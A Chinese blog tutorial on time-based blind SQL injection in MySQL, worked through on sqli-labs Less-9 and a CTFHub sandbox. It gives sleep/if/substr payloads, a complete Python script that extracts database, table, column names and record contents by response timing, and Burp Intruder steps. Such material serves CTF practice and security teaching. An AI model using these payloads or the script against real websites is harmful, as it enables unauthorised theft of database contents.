sql漏洞注入——时间注入

一·时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
 

mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。

时间盲注使用场景

当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。
时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询,从而得到让网页加载时间变长的方式来猜解数据库。

时间盲注使用到的SQL函数

1.if函数

if(expr1,expr2,expr3);表达式
如果expr1判断为真,则返回expr2值,否则expr3的值。
例:判断1+1是不是等于2,如果等于2返回“你是个天才”,不等于2返回“3”
if

2.sleep()函数


sleep(duration) 这个函数的作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数。
例子:让sql语句5秒后执行
sleep

3.substr()函数

substr(string,start,length)函数是截取字符串的函数。

4.ord()函数

ord(character)函数是返回一个字符的ASCII码。

5.length()函数

length(string)函数是否返回一个字符串的长度。

题目例示——less9

1.测试注入点

?id=1’ and 1=2 --+ 页面正常
?id=1’ and 1=1 --+ 页面正常
?id=1" and 1=2 --+ 页面正常
?id=hviurbnierneb --+ 页面正常
1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常
1" and updatexml(1,concat(0x7e,(select database()),0x7e),1 ) --+ 页面正常
进行了这么多的测试,页面均正常显示,遇到这种情况可以采用时间注入来判断。

输入http://localhost/sql/Less-9/?id=1' and if(length(database())>7,sleep(5),0)--+

响应时间大于5

输入http://localhost/sql/Less-9/?id=1' and if(length(database())>8,sleep(5),0)--+

响应时间小于5

输入http://localhost/sql/Less-9/?id=1' and if(length(database())=8,sleep(5),0)--+

判断数据库名长度为8

接下来猜解数据库名字

通过ord函数或者ascii函数进行猜解数据库名

手工建议采用二分法来猜解提高效率。
payload:
?id=1’ and if(ascii(substr((select database()),1,1))>100,1,sleep(5))–+
页面立马加载,说明字符大于100
那么在尝试
?id=1’ and if(ascii(substr((select database()),1,1))>118,1,sleep(5))–+
页面5秒后加载,说明字符小于118
?id=1’ and if(ascii(substr((select database()),1,1))>110,1,sleep(5))–+
页面立马加载,说明字符大于110,那么现在字符就在110-118这个区间了
?id=1’ and if(ascii(substr((select database()),1,1))=115,1,sleep(5))–+
页面立马加载,说明第一个字符ASCII是115 也就是“s”

手动试太麻烦 可以用python脚本跑一下

这里以ctfhub上的靶场为例

import requests
from urllib.parse import quote

base_url = "127.0.0.1/sql/Less-9/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"
        url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
        try:
            requests.get(url, headers=headers, timeout=1).text
        except Exception:
            print("database length", length, "failed!")
            length+=1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print("数据库名的长度为", length)
    return length

def get_database(database_length):
    global base_url, headers
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                database += chr(ascii)
                print ("目前已知数据库名", database)
                break

    print("数据库名为", database)
    return database

def get_table_num(database):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据库中有", num, "个表")
            break
    return num

def get_table_length(index, database):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout= 1).text
        except Exception:
            print("table length", length, "failed!")
            length+=1
        else:
            print("table length", length, "success")
            print("payload:", id)
            break
    print("数据表名的长度为", length)
    return length

def get_table(index, table_length, database):
    global base_url, headers
    table = ""
    for i in range(1, table_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                table += chr(ascii)
                print ("目前已知数据库名", table)
                break
    print("数据表名为", table)
    return table

def get_column_num(table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "个字段")
            break
    return num

def get_column_length(index, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("column length", length, "failed!")
            length+=1
        else:
            print("column length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "个字段的长度为", length)
    return length

def get_column(index, column_length, table):
    global base_url, headers
    column = ""
    for i in range(1, column_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                column += chr(ascii)
                print ("目前已知字段为", column)
                break

    print("数据表", table, "第", index, "个字段名为", column)
    return column

def get_flag_num(column, table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "行数据")
            break
    return num

def get_flag_length(index, column, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("flag length", length, "failed!")
            length+=1
        else:
            print("flag length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "行数据的长度为", length)
    return length

def get_flag(index, flag_length, column, table):
    global base_url, headers
    flag = ""
    for i in range(1, flag_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                flag += chr(ascii)
                print ("目前已知flag为", flag)
                break
    print("数据表", table, "第", index, "行数据为", flag)
    return flag

if __name__ == "__main__":
    print("---------------------")
    print("开始获取数据库名长度")
    database_length = get_database_length()
    print("---------------------")
    print("开始获取数据库名")
    database = get_database(database_length)
    print("---------------------")
    print("开始获取数据表的个数")
    table_num = get_table_num(database)
    tables = []
    print("---------------------")
    for i in range(0, table_num):
        print("开始获取第", i + 1, "个数据表的名称的长度")
        table_length = get_table_length(i, database)
        print("---------------------")
        print("开始获取第", i + 1, "个数据表的名称")
        table = get_table(i, table_length, database)
        tables.append(table)
    while(1): #在这个循环中可以进入所有的数据表一探究竟
        print("---------------------")
        print("现在得到了以下数据表", tables)
        table = input("请在这些数据表中选择一个目标: ")
        while( table not in tables ):
            print("你输入有误")
            table = input("请重新选择一个目标")
        print("---------------------")
        print("选择成功,开始获取数据表", table, "的字段数量")
        column_num = get_column_num(table)
        columns = []
        print("---------------------")
        for i in range(0, column_num):
            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
            column_length = get_column_length(i, table)
            print("---------------------")
            print("开始获取数据表", table, "第", i + 1, "个字段的名称")
            column = get_column(i, column_length, table)
            columns.append(column)
        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
            print("---------------------")
            print("现在得到了数据表", table, "中的以下字段", columns)
            column = input("请在这些字段中选择一个目标: ")
            while( column not in columns ):
                print("你输入有误")
                column = input("请重新选择一个目标")
            print("---------------------")
            print("选择成功,开始获取数据表", table, "的记录数量")
            flag_num = get_flag_num(column, table)
            flags = []
            print("---------------------")
            for i in range(0, flag_num):
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
                flag_length = get_flag_length(i, column, table)
                print("---------------------")
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
                flag = get_flag(i, flag_length, column, table)
                flags.append(flag)
            print("---------------------")
            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
            quit = input("继续切换字段吗?(y/n)")
            if (quit == 'n' or quit == 'N'):
                break
            else:
                continue
        quit = input("继续切换数据表名吗?(y/n)")
        if (quit == 'n' or quit == 'N'):
            break
        else:
            continue
    print("bye~")

也可以用bp爆破一下

也是用ctfhub来演示

因为不想对照ascii码直接用字母表示

代码

http://challenge-3509d00401dacaa0.sandbox.ctfhub.com:10800/?id=1 and if((substr((database()),1,1))='a',sleep(3),1)

抓包 send to intruder 改一下payloads

这里的步骤和用布尔盲注的差不多 唯一不同的就是时间盲注没有回显

这里需要改一下 加上响应时间

这样就爆出来它的库名了继续爆表名个数

http://challenge-3509d00401dacaa0.sandbox.ctfhub.com:10800/?id=1 and if((select count(table_name) from information_schema.tables where table_schema = 'sqli') = 2,sleep(3),1)

证明有两个表 先爆破第一个表名

爆破表长

?id=1 and if((select length(table_name) from information_schema.tables where table_schema = 'sqli' limit 0,1) >= 2,sleep(3),1)

爆破表名

?id=1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='n',sleep(3),1)

第一个表名为flag

把limit改为1,1 其他不变

第二个表名为news

爆破列名

这里插入一下sqlilab的例子 ctfhub的靶场关了

?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(3),1)

一样的方法 得到列名为‘flag’

爆数据 这里也是用sqlilab的例子

就是select列名+from表名+where限定语句

?id=1' and if(substr((select username from users limit 0,1),2,1)='u',sleep(5),1)--+

这里应该先爆一下长度但是太多了就没爆

反正最后大概就是这种了

能用脚本还是用脚本吧【😵】

终于写完了 886

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答: CTFsql注入练习题是一种用于训练和测试SQL注入技巧的题目。在这些题目中,参与者需要通过注入恶意的SQL代码来绕过应用程序的安全机制,从而获取敏感信息或者执行未授权的操作。这些题目通常包含了不同的注入场景和技巧,例如基于时间的盲注、报错注入、布尔盲注、宽字节注入等等。参与者需要通过分析应用程序的行为和结构,构造合适的注入语句来实现攻击目标。在解决这些题目的过程中,参与者可以提高对SQL注入漏洞的理解和掌握,并学习如何防范和修复这类漏洞。 #### 引用[.reference_title] - *1* *2* [CTF-SQL注入入门题型](https://blog.csdn.net/weixin_43080961/article/details/121939366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [i 春秋 CTF训练营 web——SQL注入 1(字符型注入)(手动注入)](https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121626527)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值